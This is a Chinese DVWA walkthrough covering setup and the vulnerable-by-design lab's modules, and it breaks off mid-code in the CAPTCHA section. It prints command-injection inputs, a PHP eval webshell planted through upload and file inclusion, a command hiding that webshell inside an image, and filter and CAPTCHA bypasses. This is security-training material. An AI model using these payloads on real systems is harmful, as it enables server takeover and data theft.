网络安全之DVWA通关教程
- 一、DVWA简介
- 二、DVWA安装
- 2.1 安装PHPStudy
- 2.2 安装DVWA
- 三、DVWA使用
- 3.1 Brute Force(暴力破解)
- 3.1.1 Low级别
- 3.1.2 Medium级别
- 3.1.3 High级别
- 3.2 Command Injection(命令注入)
- 3.2.1 Low级别
- 3.2.2 Middle级别
- 3.2.3 High级别
- 3.2.4 Impossible级别
- 3.3 CSRF(跨站请求伪造)
- 3.3.1 Low级别
- 3.3.2 Middle级别
- 3.3.3 High级别
- 3.4 File Inclusion(文件包含漏洞)
- 3.4.1 Low级别
- 3.4.2 Middle级别
- 3.4.3 High级别
- 3.5 File Upload(文件上传漏洞)
- 3.5.1 Low级别
- 3.5.2 Middle级别
- 3.5.3 High级别
- 3.6 Insecure CAPTCHA(不安全验证码)
- 3.6.1 Low级别
- 3.6.2 Middle级别
- 3.6.3 High级别
- 3.7 Weak Session IDS(弱会话ID)
- 3.7.1 Low级别
- 3.7.2 Middle级别
- 3.7.3 High级别
- 3.8 SQL Injection(SQL注入)
- 3.8.1 Low级别
- 3.8.2 Middle级别
- 3.8.3 High级别
- 3.9 SQL Injection(Blind)(SQL盲注)
- 3.9.1 Low级别
- 3.9.2 Middle级别
- 3.9.3 High级别
- 3.10 XSS(Cross Site Scripting 跨站脚本攻击)
- 3.10.1 XSS(DOM)(DOM型跨站脚本攻击)
- 3.10.1.1 Low级别
- 3.10.1.2 Middle级别
- 3.10.1.3 High级别
- 3.10.2 XSS (Reflected)(反射型跨站脚本攻击)
- 3.10.2.1 Low级别
- 3.10.2.2 Middle级别
- 3.10.2.3 High级别
- 3.10.3 XSS (Stored)(存储型跨站脚本攻击)
- 3.10.3.1 Low级别
- 3.10.3.2 Middle级别
- 3.10.3.3 High级别
- 3.11 CSP Bypass(内容安全策略绕过)
- 3.11.1 Low级别
- 3.11.2 Middle级别
- 3.11.3 High级别
- 3.12 JavaScript
- 3.12.1 Low级别
- 3.12.2 Middle级别
- 3.12.3 High级别
一、DVWA简介
- DVWA全称为Damn Vulnerable Web Application,意为存在糟糕漏洞的web应用。它是一个基于PHP/MySQL开发的存在糟糕漏洞的web应用,旨在为专业的安全人员提供一个合法的环境,来测试他们的工具和技能。帮助web开发人员理解web应用保护的过程,还可以在课堂中为师生的安全性教学提供便利。
- DVWA 一共包含了十个攻击模块,分别是:
- Brute Force(暴力破解)
- Command Injection(命令行注入)
- CSRF(跨站请求伪造)
- File Inclusion(文件包含)
- File Upload(文件上传)
- Insecure CAPTCHA (不安全的验证码)
- SQL Injection(SQL注入)
- SQL Injection(Blind)(SQL盲注)
- XSS(Reflected)(反射型跨站脚本)
- XSS(Stored)(存储型跨站脚本)
包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境;
- DVWA 还可以手动调整靶机源码的安全级别,分别为 Low,Medium,High,Impossible,级别越高,安全防护越严格,渗透难度越大。一般 Low 级别基本没有做防护或者只是最简单的防护,很容易就能够渗透成功;而 Medium 会使用到一些非常粗糙的防护,需要使用者懂得如何去绕过防护措施;High 级别的防护则会大大提高防护级别,一般 High 级别的防护需要经验非常丰富才能成功渗透;最后 Impossible 基本是不可能渗透成功的,所以 Impossible 的源码一般可以被参考作为生产环境 Web 防护的最佳手段。
二、DVWA安装
- DVWA 是 PHP/MySQL 的源码环境,所以需要准备 PHP 和 MySQL 的运行环境。PHPStudy 是一个 PHP 调试环境的程序集成包。该程序包集成最新的 LAMP 和 WAMP 架构,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。
- 安装环境:
1)PHPStudy:https://www.xp.cn/download.html
2)DVWA:https://github.com/digininja/DVWA
2.1 安装PHPStudy
- 下载安装包解压;

- 运行exe文件进行安装,建议安装在非C盘;

- 安装完成后,打开PHPStudy界面;

- 开启Apache和MySql两个服务,点击启动;

- 启动MySQL5.7.26时,会提示无法启动,主要原因是之前已经在本地安装好了一个MySQL服务,而phpstudy里的MySQL服务与本地的MySQL占用的都是3306端口,产生了冲突。
- 解决方式:
1)首先按下win+R执行services.msc进入服务,查找到MySQL,点击停止服务,然后在控制台cmd进入本地安装MySQL的文件夹,我的文件名是D:\mysql-8.0.30-winx64\mysql-8.0.30-winx64\bin,进入后执行命令sc delete mysql来删除服务,发现无法删除,原因是要用管理员身份进行该操作才可以。
2)删除成功后phpstudy上的MySQL数据库就会自动启动了。
2.2 安装DVWA
- 下载安装包:

- 解压下载的 DVWA-master.zip,为方便后期访问,把解压的文件夹改名为 DVWA,把该文件夹复制到 PHPStudy 的默认 Web 站点根目录 D:\phpstudy_pro\WWW:
- 在 D:\phpstudy_pro\WWW\DVWA\config 目录下,找到 config.inc.php.dist 文件,重命名为 config.inc.php

- 用记事本打开 config.inc.php 文件,把配置文档中的
$_DVWA[ 'db_password' ] = 'P@ssw0rd';修改为$_DVWA[ 'db_password' ] = 'root';,(这里修改的是 MySQL 的管理员密码,该密码默认是 root,如果修改过 MySQL 密码,这里需要改成你自己的密码)

-
之后保持PHPStudy开启状态,在浏览器中输入http://127.0.0.1/DVWA,进入安装配置页面:点击左侧
Setup / Retset DB

-
解决图中报错问题:
1)没有开启PHP url_include模块
在D:\phpstudy_pro\Extensions\php\php7.3.4nts路径中找到php.ini中的allow_url_include为On,如下图所示。然后保存,重启PHPstudy,错误得到解决。
2)缺少了验证码的key
编辑 dvwa/config/config.inc.php这个配置文件,找到以下代码把key填上就行了。
$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

-
点击最下面的那个
Create/Reset Database按钮创建数据库,如果创建成功则表示如下结果:
- 创建成功后,可成功登陆,跳过登陆界面(登陆界面网址:http://127.0.0.1/dvwa/login.php,如果Burpsuite不能截取到127的流量,可以将登陆网址改为:http://本地主机IP地址/dvwa/login.php),默认登陆默认用户名为admin,密码为password。

- 登录成功,则显示如下界面,至此,DVWA靶场搭建成功:

- 在DVWA Security选项中,可以调整dvwa的难易程度,如图:

三、DVWA使用
- 前提条件:开启PHPStudy或者PHPStudy_pro,进入页面开始Apache和MySQL;

- 浏览器开启代理;

- Burpsuite配置代理;

- 解决DVWA中文乱码的问题,在
DVWA\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改为”charset=gb2312”,即可解决乱码问题。

3.1 Brute Force(暴力破解)
3.1.1 Low级别
- 登陆DVWA,点击
DVWA Security->Low->Submit

- 点击
Brute Force,输入用户名和密码分别为123456,显示验证错误;

- 在Burpsuite中,点击
Proxy->HTTP history,抓到包后,点击鼠标右键send ro intruder

- send to intruder在intruder的positions选择中,先点击clear$清除所有的变量。添加变量并将attack type的值设置为cluster bomb;

- 然后分别给username和password这两个字段后面的内容添加add$

- 在Payloads sets选择中分别给Payload set 1和Payload set 2设置字典或加载字典路径;


- 设置完成后,点击右上方的Start attack;

- 开始枚举,结果通过length降序排列;

- 红色部分为破解的密码,通过上面的破解,我们发现length的长度存在不一样,不一样的就是为破解成功的账号和密码。
3.1.2 Medium级别
- 相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,",x1a)进行转义,把其中的字符串给过滤掉了,基本上能够抵御sql注入攻击,那低等级时候用到的注入就失效了,需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数,在破解失败后会使程序停止运行两秒。所以我们直接用爆破方法即可,和low级的一样。
3.1.3 High级别
- 点击
DVWA Security->High->Submit

-
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度。
-
CSRF(Cross-site request forgery),中文名称:跨站请求伪造。攻击者盗用你的身份,以你的名义发送恶意请求。

-
Token抵御CSRF攻击原理:
1)将CSRF Token输出到页面中:
首先,用户打开页面的时候,服务器需要给这个用户生成一个Token,该Token通过加密算法对数据进行加密,一般Token都包括随机字符串和时间戳的组合,显然在提交时Token不能再放在Cookie中了,否则又会被攻击者冒用。因此,为了安全起见Token最好还是存在服务器的Session中,之后在每次页面加载时,使用JS遍历整个DOM树,对于DOM中所有的a和form标签后加入Token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的HTML代码,这种方法就没有作用,还需要程序员在编码时手动添加Token。2)页面提交的请求携带这个Token:
对于GET请求,Token将附在请求地址之后,这样URL 就变成http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上:
<input type=”hidden” name=”csrftoken” value=”tokenvalue”/>
这样,就把Token以参数的形式加入请求了。
3)服务器验证Token是否正确:
当用户从客户端得到了Token,再次提交给服务器的时候,服务器需要判断Token的有效性,验证过程是先解密Token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个Token就是有效的。 -
采用同样的方式,点击
Brute Force,输入用户名和密码分别为123456,显示验证错误;通过抓包发现,登录验证时提交了四个参数:username、password、Login以及user_token。

-
发现在High级别中,请求参数多了一个token参数,将抓到的包发送到Intruder,选择攻击模式为pitchfock,并且给要破解的项带上$符号;

-
设置参数,设置resource pool为1,因为为了Token抵御CSRF攻击,页面提交的请求携带服务端回传的Token值,所以不能并行,只能采用单线程;

-
然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add;

-
1、点击refetch response 2、搜索token 3、输入
value='4、选中 5、点击ok,复制选中的token值,如下图进行设置;

- 最后将Redirections设置为Always ,就是每次获取一个新的token之后,下次页面请求时采用新的token;

- 在Payloads sets选择中分别给Payload set 1账号和Payload set 2密码设置字典或加载字典路径;


- 将token设置为递归搜索,将刚才的token值复制过来作为第一个token值(见上文黄色字体);

- 点击Start attack开始爆破;

- 显示welcome成功爆破;

3.2 Command Injection(命令注入)
- 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。
- 命令执行连接符
a && b :先执行命令a再执行命令b,命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。
a & b:先执行命令a再执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰。
a || b:先执行a命令再执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。
a | b:代表首先执行a命令,再执行b命令,不管a命令成功与否,都会去执行b命令。
3.2.1 Low级别
- 解决中文乱码的问题,在
DVWA\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改为”charset=gb2312”,即可解决乱码问题。

- 查看low的源码

stristr() 函数搜索字符串在另一字符串中的第一次出现,不区分大小写
php_uname() 返回了运行 PHP 的操作系统的描述。
参数:
'a':此为默认。
's':操作系统名称。
'n':主机名。
'r':版本名称。
'v':版本信息。
'm':机器类型。
- 通过源码可以看出,源码只是针对不同的操作系统执行不同的ping命令而已,没有对ip参数并未做任何的过滤,因此存在命令注入漏洞。
- 输入
127.0.0.1&&echo “Hello”

- 输入
127.0.0.1&&ipconfig

3.2.2 Middle级别
-
查看middle的源码,如下所示:

-
可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,过滤了&&、;,但是没有过滤掉&、|,所以依旧有漏洞。
-
输入
127.0.0.1|dir

-
输入
127.0.0.1 & ipconfig

3.2.3 High级别
- 查看high级别的源码:

- 这次过滤的更狠,几乎过滤了所有的常用连接符,拼接的方法也是不起作用的,但是观察代码发现
|+空格多出一个空格,所以不会过滤|那就利用这个漏洞进行命令执行; - 输入
127.0.0.1 |net user(|和net之间无空格)

3.2.4 Impossible级别
- 查看源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
stripslashes(string)
#stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
explode(separator,string,limit)
#explode()函数把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目
is_numeric(string)
#is_numeric()函数检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
- Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
3.3 CSRF(跨站请求伪造)
- CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
3.3.1 Low级别
- 尝试两次密码不一致,分别是123和1234;

- 可以看到页面顶部URL是
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=1234&Change=Change#为修改密码的链接; - 当我们打开另外一个新页面,在顶部URL中输入
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,可以看到密码成功修改了。

3.3.2 Middle级别
- Medium级别的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证。即用户的请求头中的Referer字段必须包含了服务器的名字。当我们再打开另一个页面,在顶部URL中自己输入如下的URL时,
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,会提示报错,提示http Referer字段没有定义索引。

- 当我们采用页面进行正常密码修改,如下图所示,然后采用Burpsuite进行抓包,查看Referer字段;


- 然后,我们打开另一个页面,在顶部URL中自己输入如下的链接
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,用burpsuite进行抓包,此时密码修改不成功的。

- 请求包的头中并没有Referer字段,所以不能成功修改密码。
- 我们手动修改Burpsuite中的请求字段Referer,只要该字段中包含
127.0.0.1即可,重新发送请求,发现密码可以修改成功。


- 显示密码修改成功。
3.3.3 High级别
- High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。
- 因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。

3.4 File Inclusion(文件包含漏洞)
- 文件包含:PHP为了提高代码复用性,提供了文件包含函数
include(),require(),require_once()和include_once(),被包含的文件内容会被当做代码来执行;即把重复使用的一段代码,单独写到一个文件里,再用文件包含函数来包含这个文件; - 文件包含漏洞:为了灵活的包含文件,一些程序员会把文件名通过参数的形式传递给文件包含函数。当传递文件名的参数被用户修改时,用户就可以包含任意文件,而文件中的代码就会被服务器执行,这就造成了文件包含漏洞;
- 文件包含函数 PHP提供了四个文件包含函数:
1)include():当被包含的文件不存在时,会报错(Error),后面的代码不被执行;
2)include_once():只包含一次,包含过的文件不会被重复包含;
3)require():当被包含的文件不存在时,会告警(Wrainng),后面的代码可以继续执行;
4)require_once():只包含一次,包含过的文件不会被重复包含。 - 文件包含函数不关心文件的后缀名,它只是简单的执行被包含的文件,如果文件的内容是代码,就会执行代码;如果不是代码,就当做文本输出到页面;
- 文件包含漏洞根据包含文件的位置可以分为本地文件包含和远程文件包含:
1)本地文件包含是指:包含服务器本地的文件。
本地文件包含的payload通常以根目录(/)或文件名开头。也就是绝对路径和相对路径。
利用条件:配置文件开启fopen(allow_url_fopen=On) 用户可控参数,后台未过滤包含的文件。
功能很简单:点不同的链接,跳转到对应的文件;在地址栏中,手动修改page的参数为 file1.php 和 file2.php,页面也会跳转到对应的页面,本质上是后台用文件包含函数 包含了这个文件。这意味着参数可控,我们可以通过修改page的参数,让页面包含指定的文件,前提是文件存在。
2)远程文件包含是指:包含远端的文件。
远程文件包含的payload通常以 http:// 或 ftp:// 开头。
利用条件:配置文件开启 fopen 和 include(allow_url_include=On) 用户参数可控,且后台没有过滤包含的文件。

3.4.1 Low级别
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
-
首先查看源码发现没有任何过滤。可以看出服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
-
点开file1.php和其他的只有page=后面的发生了变化,因此可以将page后的参数视为可控字段;

-
文件包含是在url通过GET传参的方式获取文件,我们用 / 查看一下上下级目录,发现可以直接获取服务器文件路径:

-
输入?page=…/…/phpinfo.php 可以看到php的具体信息:

-
我们在C盘创建一个txt文档, 在url里面尝试上传包含本地文件 C://h.txt:


-
成功输出hello.txt文件内容,只有php文件会解析运行。其他的只会原封不动的输出出来。
-
漏洞利用:
1)新建木马文件并上传,进入文件上传File Upload,进行上传:

2)上传,并复制路径:
3)复制链接../../hackable/uploads/h.php到文件包含,发现未报错,文件解析成功:
4)根据路径到dvwa的文件包括目录,发现在新建木马路径中生成了shell.php文件:
5)打开蚁剑鼠标右键添加数据,地址为shell.php的地址,即http://127.0.0.1/dvwa/vulnerabilities/fi/shell.php,密码就是我们木马post里面写的的密码pass,直接连接:

双击URL地址:
渗透成功:

3.4.2 Middle级别
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
- 通过审核代码,可以看到,代码使用
str_replace函数对http://和https://进行了过滤,防止了远程包含漏洞的产生。但是使用str_replace函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含hthttp://tp://xx时,str_replace函数只会过滤一个http://,所以最终还是会包含到http://xx: - 访问本地phpinfo.php文件,
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/dvwa/phpinfo.php,代码将http://替换为空之后,page=后剩余http://127.0.0.1/dvwa/phpinfo.php,仍可以返回数据,结果如下:


3.4.3 High级别
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
- high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not found。于是,我们可以利用 file 协议进行绕过。例如:访问
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\test.txt,结果如下:


3.5 File Upload(文件上传漏洞)
- File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
3.5.1 Low级别
- 准备hk.php
<?php
@eval($_POST['hack'])
?>
- 登录DWVA,上传此文件

- 使用蚁剑来连接获得webshell,打开蚁剑在空白处 右键 -->添加数据;
1)下图中URL地址获取方式:DVWA文件上传的URLhttp://10.15.1.111/dvwa/vulnerabilities/upload/#与上传成功显示的路径../../hackable/uploads/hk.php进行拼接,去掉#号变为http://10.15.1.111/dvwa/vulnerabilities/upload/../../hackable/uploads/hk.php,然后在浏览器中打开此URLhttp://10.15.1.111/dvwa/vulnerabilities/upload/../../hackable/uploads/hk.php,打开后URL会变为http://10.15.1.111/dvwa/hackable/uploads/hk.ph,将此URL填写到蚁剑的URL中;

- 连接密码如下:

- 点击添加即可完成:

- 连接成功如下所示:

- 双击URL地址,进去渗透路径:

- 空白位置右键,新建文件:


- 查询新建文件,文件创建成功:

3.5.2 Middle级别
- Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB),如果我们直接上传,会提示如下
Your image was not uploaded. We can only accept JPEG or PNG images.可以看到,对上传的文件做出了要求,必须是jpg和png解决方法抓包修改文件类型即可。 - 所以我们创建一个hk1.jpg的文件,然后使用burp进行修改文件类型。



- 修改后点击放行(Forward),可在路径中查看hk1.php文件上传成功。

- 木马文件上传成功,可采用蚁剑进行后续操作。
3.5.3 High级别
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
- 查看源码,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。

- 首先,制作图片木马:先准备一张小图片
small.jpg和一句话木马文件high_hk.php;然后将木马植入图片中,在图片和木马文件所在的目录进行CMD命令行:copy small.jpg/b+high_hk.php/a new_hk.jpg,Linux系统木马植入执行语句:cat high_hk.php >> new_hk.jpg

- high_hk.php文件:一句话木马文件
<?php
@eval($_POST['hack'])
?>

- 查看生成的文件:前面是乱码,最后是一句话木马。

- 开始上传文件,发现文件上传成功:

- 可采用蚁剑进行后续操作。
3.6 Insecure CAPTCHA(不安全验证码)
3.6.1 Low级别
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
$html .= "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
- 查看源码可以看到,服务器将该密码操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
- 输入验证码进行抓包:

- 此时step是1,鼠标右键选择
Send to Repeater,将step改为2,点击Send,显示修改成功。

3.6.2 Middle级别
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
$html .= "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
- 查看源码可知,修改密码时需要修改
step参数时,还需增加passed_captcha参数,方可绕过验证码: - 进行抓包:
- 修改请求参数,点击Send:

- 显示修改成功。
3.6.3 High级别
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
